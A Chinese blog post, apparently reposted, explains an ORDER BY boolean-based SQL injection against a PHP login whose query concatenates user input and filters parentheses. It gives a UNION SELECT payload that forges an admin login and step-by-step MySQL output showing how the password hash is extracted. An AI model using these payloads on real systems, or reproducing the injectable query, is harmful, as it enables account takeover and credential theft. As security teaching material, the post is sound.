标签：else use 括号 代码 index.php bool 一个 etc 错误提示
登录代码：
$username = $_POST[‘username‘];
$password = $_POST[‘password‘];
if(filter($username)){
//过滤括号
}else{
$sql="SELECT * FROM admin WHERE username=‘".$username."‘";
$result=mysql_query($sql);
@$row = mysql_fetch_array($result);
if(isset($row) && $row[‘username‘] === ‘admin‘){
if ($row[‘password‘]===md5($password)){
//Login successful
}else{
die("password error!");
}
}else{
die("username does not exist!");
}
}
有下列表：
mysql> select * from admin where username=‘admin‘; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 | +----+----------+----------------------------------+ 1 row in set (0.00 sec)
这样一个一般的场景，用户登录时，用户名错误提示：用户名错误，用户名正确密码错误提示：密码错误
看到这个逻辑第一想法肯定是直接利用union select伪造密码登录：
username=‘ union select 1,‘admin‘,‘c4ca4238a0b923820dcc509a6f75849b&password=1 mysql> select * from admin where username=‘‘ union select 1,‘admin‘,‘c4ca4238a0b923820dcc509a6f75849b‘; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | c4ca4238a0b923820dcc509a6f75849b | +----+----------+----------------------------------+ 1 row in set (0.00 sec)
但是想得到password怎么办
由登录提示可获取一个bool条件，如何用order by利用这个bool条件
mysql> select * from admin where username=‘‘ or 1 union select 1,2,‘5‘ order by 3; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | 2 | 5 | | 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 | +----+----------+----------------------------------+ 2 rows in set (0.00 sec) mysql> select * from admin where username=‘‘ or 1 union select 1,2,‘6‘ order by 3; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 | | 1 | 2 | 6 | +----+----------+----------------------------------+ 2 rows in set (0.01 sec) mysql> select * from admin where username=‘‘ or 1 union select 1,2,‘51‘ order by 3; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | 2 | 51 | | 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 | +----+----------+----------------------------------+ 2 rows in set (0.00 sec) mysql> select * from admin where username=‘‘ or 1 union select 1,2,‘52‘ order by 3; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 | | 1 | 2 | 52 | +----+----------+----------------------------------+ 2 rows in set (0.00 sec)
通过逐位判断便可得到password
显然此方法在实际中使用的不多，但在一些特定的环境中也许会用到，比如实验环境，如果过滤了括号，其他盲注基本上就是废了，便可利用order by进行注入。
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作者：p0
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标签：else use 括号 代码 index.php bool 一个 etc 错误提示
原文地址：http://www.cnblogs.com/xishaonian/p/7703486.html
